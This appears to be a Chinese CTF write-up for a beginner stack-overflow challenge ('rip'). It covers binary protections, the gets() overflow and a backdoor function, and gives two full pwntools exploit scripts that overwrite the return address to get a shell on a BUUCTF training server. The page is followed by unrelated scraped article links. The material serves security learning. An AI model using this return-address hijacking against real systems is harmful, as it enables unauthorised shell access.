PWN手的成长之路-01-rip
首先启动题目环境,并下载题目的附件。

远程nc连接一下,发现程序就是把用户输入再次输出,并加了几句话。

之后从附件下手,用file查看文件的详细信息。发现是一个linux的可执行程序。

使用checksec查看文件的安全属性。

P.S.详细解释查看后的信息含义:
Arch:
程序架构信息。判断是拖进64位IDA还是32位?exp编写时p64还是p32函数?
RELRO:
Relocation Read-Only (RELRO) 此项技术主要针对 GOT 改写的攻击方式。它分为两种,Partial RELRO 和 Full RELRO。
Partial RELRO 易受到攻击,例如攻击者可以atoi.got为system.plt,进而输入/bin/sh\x00获得shell完全RELRO 使整个 GOT 只读,从而无法被覆盖,但这样会大大增加程序的启动时间,因为程序在启动之前需要解析所有的符号。
gcc -o hello test.c // 默认情况下,是Partial RELRO
gcc -z norelro -o hello test.c // 关闭,即No RELRO
gcc -z lazy -o hello test.c // 部分开启,即Partial RELRO
gcc -z now -o hello test.c // 全部开启,即Full RELRO
STACK-canary:
栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入类似cookie的信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。
gcc -fno-stack-protector -o hello test.c //禁用栈保护
gcc -fstack-protector -o hello test.c //启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码
gcc -fstack-protector-all -o hello test.c //启用堆栈保护,为所有函数插入保护代码
NX:
NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,如此一来, 当攻击者在堆栈上部署自己的 shellcode 并触发时, 只会直接造成程序的崩溃,但是可以利用rop这种方法绕过。
PIE:
PIE(Position-Independent Executable, 位置无关可执行文件)技术与 ASLR 技术类似, ASLR 将程序运行时的堆栈以及共享库的加载地址随机化, 而 PIE 技术则在编译时将程序编译为位置无关, 即程序运行时各个段(如代码段等)加载的虚拟地址也是在装载时才确定。这就意味着, 在 PIE 和 ASLR 同时开启的情况下, 攻击者将对程序的内存布局一无所知, 传统的改写 GOT 表项的方法也难以进行, 因为攻击者不能获得程序的 .got 段的虚地址。若开启一般需在攻击时泄露地址信息。
gcc -o hello test.c // 默认情况下,不开启PIE
gcc -fpie -pie -o hello test.c // 开启PIE,此时强度为1
gcc -fPIE -pie -o hello test.c // 开启PIE,此时为最高强度2
(还与运行时系统ALSR设置有关)
RWX:
Has RWX segments 表示程序中存在具有 读(Read)、写(Write)、执行(Execute) 三种权限的内存段(segment)。
整体看完之后,发现该文件的保护几乎没有。之后使用IDA更加详细查看该文件。点进main函数中,之后 TAB 键查看反编译的伪代码。

之后详细查看该文件的函数,发现一个 fun 函数。我做的时候就想,肯定是要让程序执行这个函数的。

再看回main函数,它存在一个gets()方法,此函数因为完全不检查输入长度,导致高危的缓冲区溢出漏洞,可能被恶意利用执行任意的代码。所以我们现在的思路就是利用这个gets()方法让这个程序溢出,使其的返回地址指向 fun 函数的地址,再得到该靶机的shell。
双击
gets()方法传入的s变量,查看该变量定义的大小。从0到F,这里F是16进制,就是数字15。

查看 fun 函数的内存地址,为
0x401186。

从前面的分析中可以发现,需要发送0xF(15)+8个字节的数据即可形成栈溢出,劫持fun函数的地址。
原因: main 函数中输入的字符串s,看到了他是从 0 到 f ,就是 15 ,为什么还要 +8 ,因为不加 8 覆盖的只是 ebp ,并没有覆盖到 ebp 后面的返回地址,即为后门函数,因此需要 +8 ,32 位的需要 +4 ,因此覆盖的字节大小为 0xF+8→15+8=23 ,这里进制转换可有可无。
查看 fun 函数的汇编代码,可知函数从0x401186开始,从 push rbp 开始,push 本意为压栈,可以理解为函数的开始,到 pop 指令,可以理解为函数的结束,因此后门函数的地址为0x401186

- 开始编写EXP:
方法一:
#导入pwntools模块
from pwn import *
#远程nc连接服务器
r=remote('node5.buuoj.cn',29063)
#fun函数的内存地址(这里backdoor为什么要 +1 ,因为 Ubuntu 18 之后,函数调用栈指针时必须要16字节对齐,也就是堆栈平衡、栈对齐,而栈16字节对齐的意思是调用 system 函数时 rsp 的值必须是16的倍数,一种时将代码中的 push rbp 跳过,即为后门函数值 +1 )
fun_addr=0x401186+1
# 定义payload,一共需要十六进制f(16)个字节数据a,需要8个十进制字节数据(b),这些都是垃圾数据
# 最后加上p64函数(文件是64位的)转换的fun函数的地址
payload=(b'a'*15+b'b'*8+p64(fun_addr))
#向服务器发送payload
r.sendline(payload)
#获得交互式shell
r.interactive()
方法二:
在调用 system 函数之前先调用一个 ret 指令,ret 的功能为 pop ,也会和 pop 一样弹栈一次,使得 rsp 对其,即栈对齐。
from pwn import *
r=remote('node5.buuoj.cn',29063)
fun_addr=0x401186
ret=0x401198
#必须要先 + p64(ret)再 + p64(fun_addr),否则程序无法跳到fun函数的位置
payload=(b'a'*0xf+b'b'*8+p64(ret)+p64(fun_addr))
r.sendline(payload)
r.interactive()
借鉴了1000x_师傅的文章。
PWN手的成长之路-01-rip的更多相关文章
- OpenCV成长之路 01、图像的读写与显示
一.工具篇 工欲善其事,必先利其器.学习OpenCV,肯定少不于基本的编程工具与OpenCV库.在Windows平台下你可以选择Visual Studio.CodeBlock等,当然你也可以选择在Li ...
- 专访雷水果国:离1.5K至18K 一个程序猿5每年的成长之路
我只是一个小菜鸟,对于自主学习和交流PHP(jquery,linux,lamp,shell,javascript,server)等一系列的知识.小菜鸟创建了一个群.希望光临本博客的人能够进来交流. 寻 ...
- 架构师成长之路1.1-系统监控工具htop
点击返回架构师成长之路 架构师成长之路1.1-系统监控工具htop htop 是Linux系统中的一个互动的进程查看器,一个文本模式的应用程序(在控制台或者X终端中),需要ncurses. 与Linu ...
- 我的Cocos Creator成长之路1环境搭建以及基本的文档阅读
本人原来一直是做cocos-js和cocos-lua的,应公司发展需要,现转型为creator.会在自己的博客上记录自己的成长之路. 1.文档阅读:(cocos的官方文档) http://docs.c ...
- 《菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师》
<菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师> 国庆节快乐!一年一度长度排第二的假期终于来了. 难得有十一长假,作者也想要休息几天啦. 不管你是选择出门玩,还是在公司加班,在学 ...
- 原创电子书《菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师》
<菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师> 国庆节快乐!一年一度长度排第二的假期终于来了. 难得有十一长假,作者也想要休息几天啦. 不管你是选择出门玩,还是在公司加班,在学 ...
- (转)Python成长之路【第九篇】:Python基础之面向对象
一.三大编程范式 正本清源一:有人说,函数式编程就是用函数编程-->错误1 编程范式即编程的方法论,标识一种编程风格 大家学习了基本的Python语法后,大家就可以写Python代码了,然后每个 ...
- redis成长之路——(二)
redis操作封装 针对这些常用结构,StackExchange.Redis已经做了一些封装,不过在实际应用场景中还必须添加一些功能,例如重试等 所以对一些常功能做了一些自行封装SERedisOper ...
- redis成长之路——(一)
为什么使用redis Redis适合所有数据in-momory的场景,虽然Redis也提供持久化功能,但实际更多的是一个disk-backed的功能,跟传统意义上的持久化有比较大的差别,那么可能大家就 ...
- 【腾讯Bugly干货分享】JSPatch 成长之路
本文来自于腾讯bugly开发者社区,非经作者同意,请勿转载,原文地址:http://dev.qq.com/topic/579efa7083355a9a57a1ac5b Dev Club 是一个交流移动 ...
随机推荐
- linux 端如何修改移动硬盘的名称
省着点力气吧,在windows 下修改一样的.
- Day12 备战CCF-CSP练习
Day 12 题目描述 西西艾弗岛上共有 \(n\) 个仓库,依次编号为 \(1∼n\). 每个仓库均有一个 \(m\) 维向量的位置编码,用来表示仓库间的物流运转关系. 具体来说,每个仓库 \(i\ ...
- 树上高斯消元(P5643 sol)
经典小技巧.以 P5643 为例,首先显然 min-max 容斥,之后枚举子集,算 \(x\) 到子集的期望移动步数.考虑高斯消元,\(x \not \in S\) 时转移方程为 \(f_x = \d ...
- FastAPI后台任务:异步魔法还是同步噩梦?
扫描二维码关注或者微信搜一搜:编程智域 前端至全栈交流与成长 发现1000+提升效率与开发的AI工具和实用程序:https://tools.cmdragon.cn/ 1. 后台任务基础概念与快速入门 ...
- 超级计算 CST DC分布式作业模型已经完成,但一直没有返回数据
问题:CST DC作业主要涉及到前端节点(登陆节点),主控制器,和求解器,也即是frontend(登陆节点)---DC maincontrol(MC节点)---DC Solver Servers(计算 ...
- 视频会议直播中实现Web实时互动白板功能|Demo分享
超级白板功能概述 即构超级白板(ZegoSuperBoard),基于即构亿级海量用户的实时信令网络,提供完整的多人实时在线白板互动协同服务,包括:白板涂鸦.实时轨迹同步.文档共享.文件转码.白板录制与 ...
- C - Clockwise or Counterclockwise
https://vjudge.net/contest/389195#problem/C It is preferrable to read the pdf statment.After some ba ...
- Java数组操作——3.多维数组
目录 Java多维数组 二维数组:数组的数组 二维数组的定义与初始化 二维数组的内存结构 访问二维数组元素 遍历二维数组 三维及更高维数组 三维数组的定义与访问 高维数组的适用场景 多维数组的实际应用 ...
- 【Oracle数据库】RMAN备份恢复脚本分享,附SQL实时查看进度
前言 https://blog.csdn.net/m0_50546016/article/details/118863062?spm=1001.2014.3001.5501 使用rman进行备份恢复时 ...
- linux系统/etc/init.d目录下的开机自启脚本
https://www.cnblogs.com/liusingbon/p/13037735.html 1.复制或软连接脚本到/etc/init.d/目录下 2.脚本内容如下,加粗内容是模板性注释,不能 ...